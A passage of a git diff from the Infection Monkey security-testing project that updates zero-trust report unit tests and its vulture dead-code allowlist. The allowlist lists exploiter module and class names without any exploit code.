_get_cnt_of_tests_in_pillar(DATA) - 1, "pillar": "Data", }, { zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_VERIFY: 1, zero_trust_consts.STATUS_PASSED: 0, - # 1 test of PEOPLE pillar were executed in _save_findings() + # 1 test of PEOPLE pillar was executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1, "pillar": "People", }, { zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_VERIFY: 1, zero_trust_consts.STATUS_PASSED: 0, - # 1 different tests of NETWORKS pillar were executed in _save_findings() + # 1 test of NETWORKS pillar was executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1, "pillar": "Networks", }, { zero_trust_consts.STATUS_FAILED: 1, zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 2, - # 1 different tests of DEVICES pillar were executed in _save_findings() + zero_trust_consts.STATUS_PASSED: 0, + # 1 test of DEVICES pillar was executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1, "pillar": "Devices", }, @@ -64,7 +64,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, - # 0 different tests of WORKLOADS pillar were executed in _save_findings() + # 0 tests of WORKLOADS pillar were executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(WORKLOADS), "pillar": "Workloads", }, @@ -72,7 +72,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, - # 0 different tests of VISIBILITY_ANALYTICS pillar were executed in _save_findings() + # 0 tests of VISIBILITY_ANALYTICS pillar were executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), "pillar": "Visibility & Analytics", }, @@ -80,7 +80,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, - # 0 different tests of AUTOMATION_ORCHESTRATION pillar were executed in _save_findings() + # 0 tests of AUTOMATION_ORCHESTRATION pillar were executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar( AUTOMATION_ORCHESTRATION ), diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py index 7bd2b01c7..c1639b9d8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -1,7 +1,6 @@ import pytest from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( get_monkey_finding_dto, - get_scoutsuite_finding_dto, ) from common.common_consts import zero_trust_consts @@ -13,10 +12,9 @@ EXPECTED_DICT = { "test_pillar1": [ { "principle": "Test principle description2", - "status": zero_trust_consts.STATUS_FAILED, + "status": zero_trust_consts.STATUS_PASSED, "tests": [ {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, - {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, ], } ], @@ -28,10 +26,9 @@ EXPECTED_DICT = { }, { "principle": "Test principle description2", - "status": zero_trust_consts.STATUS_FAILED, + "status": zero_trust_consts.STATUS_PASSED, "tests": [ {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, - {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, ], }, ], @@ -46,7 +43,7 @@ def test_get_principles_status(): principles_to_tests = { "network_policies": ["segmentation"], - "endpoint_security": ["tunneling", "scoutsuite_service_security"], + "endpoint_security": ["tunneling"], } zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests @@ -65,7 +62,6 @@ def test_get_principles_status(): tests_map = { "segmentation": {"explanation": "You ran a test1"}, "tunneling": {"explanation": "You ran a test2"}, - "scoutsuite_service_security": {"explanation": "You ran a test3"}, } zero_trust_consts.TESTS_MAP = tests_map @@ -77,10 +73,6 @@ def test_get_principles_status(): monkey_finding.test = "tunneling" monkey_finding.save() - scoutsuite_finding = get_scoutsuite_finding_dto() - scoutsuite_finding.test = "scoutsuite_service_security" - scoutsuite_finding.save() - expected = dict(EXPECTED_DICT) # new mutable result = PrincipleService.get_principles_status() diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 93e70d970..c8c1378d4 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -4,6 +4,7 @@ dead or is kept deliberately. Referencing these in a file like this makes sure t Vulture doesn't mark these as dead again. """ from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory +from monkey_island.cc import app from monkey_island.cc.models import Report fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -30,8 +31,8 @@ pillars # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_tru CLEAN_UNKNOWN # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:9) CLEAN_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:10) CLEAN_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:11) -EXPLOITED_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:12) -EXPLOITED_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:13) +PROPAGATED_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:12) +PROPAGATED_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:13) ISLAND_MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:15) ISLAND_MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:16) ISLAND_MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:17) @@ -47,8 +48,6 @@ MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_s MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:28) MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:29) MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:30) -MONKEY_WINDOWS_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:31) -MONKEY_LINUX_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:32) _.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:19) _.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:22) _.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:25) @@ -56,17 +55,12 @@ _.password_restored # unused attribute (monkey/monkey_island/cc/services/report credential_type # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:18) password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23) SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30) -ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32) -MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35) -SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36) -STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39) -WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40) +SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31) HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43) MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44) -DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48) +VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45) POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52) ExploiterDescriptorEnum.LOG4SHELL -_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26) PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4) internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43) config_error # unused variable (monkey/monkey_island/cc/models/monkey.py:53) @@ -77,16 +71,13 @@ meta # unused variable (monkey/monkey_island/cc/models/zero_trust/finding.py:37 meta # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:34) expire_at # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:36) meta # unused variable (monkey/monkey_island/cc/models/config.py:11) -meta # unused variable (monkey/monkey_island/cc/models/creds.py:9) meta # unused variable (monkey/monkey_island/cc/models/edge.py:5) Config # unused class (monkey/monkey_island/cc/models/config.py:4) -Creds # unused class (monkey/monkey_island/cc/models/creds.py:4) _.do_CONNECT # unused method (monkey/infection_monkey/transport/http.py:151) _.do_POST # unused method (monkey/infection_monkey/transport/http.py:122) _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61) _.do_GET # unused method (monkey/infection_monkey/transport/http.py:38) _.do_POST # unused method (monkey/infection_monkey/transport/http.py:34) -_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) PowerShellExploiter # (monkey\infection_monkey\exploit\powershell.py:27) ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) @@ -97,10 +88,9 @@ AccountDiscovery # unused class (monkey/infection_monkey/post_breach/actions/di ModifyShellStartupFiles # unused class (monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py:11) Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timestomping.py:6) SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15) -AwsCollector # unused class (monkey/infection_monkey/system_info/collectors/aws_collector.py:15) +ProcessListCollection # unused class (monkey/infection_monkey/post_breach/actions/collect_processes_list.py:19) EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19) -ProcessListCollector # unused class (monkey/infection_monkey/system_info/collectors/process_list_collector.py:18) -_.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11) +HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10) _.representations # unused attribute (monkey/monkey_island/cc/app.py:180) _.log_message # unused method (monkey/infection_monkey/transport/http.py:188) _.log_message # unused method (monkey/infection_monkey/transport/http.py:109) @@ -112,7 +102,6 @@ binaries # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-pyps hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3) hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3) hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4) -hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py:4) _.wShowWindow # unused attribute (monkey/infection_monkey/monkey.py:345) _.dwFlags # unused attribute (monkey/infection_monkey/monkey.py:344) _.do_get # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:79) @@ -125,7 +114,6 @@ ts # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.p opnum # unused variable (monkey/infection_monkey/exploit/zerologon.py:466) structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:467) structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:478) -_._port # unused attribute (monkey/infection_monkey/exploit/win_ms08_067.py:123) oid_set # unused variable (monkey/infection_monkey/exploit/tools/wmi_tools.py:96) export_monkey_telems # unused variable (monkey/infection_monkey/config.py:282) NoInternetError # unused class (monkey/common/utils/exceptions.py:33) @@ -137,32 +125,6 @@ pytest_addoption # unused function (envs/os_compatibility/conftest.py:4) pytest_addoption # unused function (envs/monkey_zoo/blackbox/conftest.py:4) pytest_runtest_setup # unused function (envs/monkey_zoo/blackbox/conftest.py:47) config_value_list # unused variable (envs/monkey_zoo/blackbox/config_templates/smb_pth.py:10) -_.dashboard_name # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:13) -_.checked_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:14) -_.flagged_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:15) -_.rationale # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:17) -_.remediation # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:18) -_.compliance # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:19) -_.references # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:20) -ACM # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:8) -AWSLAMBDA # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:9) -DIRECTCONNECT # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:14) -EFS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:16) -ELASTICACHE # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:17) -EMR # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:20) -KMS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:22) -ROUTE53 # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:25) -SECRETSMANAGER # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:31) -RDS_SNAPSHOT_PUBLIC # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py:17) -dashboard_name # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:18) -checked_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:19) -flagged_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:20) -rationale # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:22) -remediation # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:23) -compliance # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:24) -references # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:25) -ALIBABA # unused variable (monkey/common/cloud/scoutsuite_consts.py:8) -ORACLE # unused variable (monkey/common/cloud/scoutsuite_consts.py:9) ALIBABA # unused variable (monkey/common/cloud/environment_names.py:10) IBM # unused variable (monkey/common/cloud/environment_names.py:11) DigitalOcean # unused variable (monkey/common/cloud/environment_names.py:12) @@ -181,6 +143,9 @@ Report.glance Report.meta_info Report.meta LDAPServerFactory.buildProtocol +get_file_sha256_hash +strict_slashes # unused attribute (monkey/monkey_island/cc/app.py:96) +post_breach_actions # unused variable (monkey\infection_monkey\config.py:95) # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) @@ -192,15 +157,13 @@ salt # unused variable (monkey/infection_monkey/network/mysqlfinger.py:78) thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61) -# leaving this since there's a TODO related to it -_.get_wmi_info # unused method (monkey/infection_monkey/system_info/windows_info_collector.py:63) - - # potentially unused (there may also be unit tests referencing these) LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8) delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85) MongoQueryJSONEncoder # unused class (envs/monkey_zoo/blackbox/utils/json_encoder.py:6) environment # unused variable (monkey/monkey_island/cc/models/monkey.py:59) +_.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py:10) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) GCPHandler # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:57) +architecture # unused variable (monkey/infection_monkey/exploit/caching_agent_repository.py:25)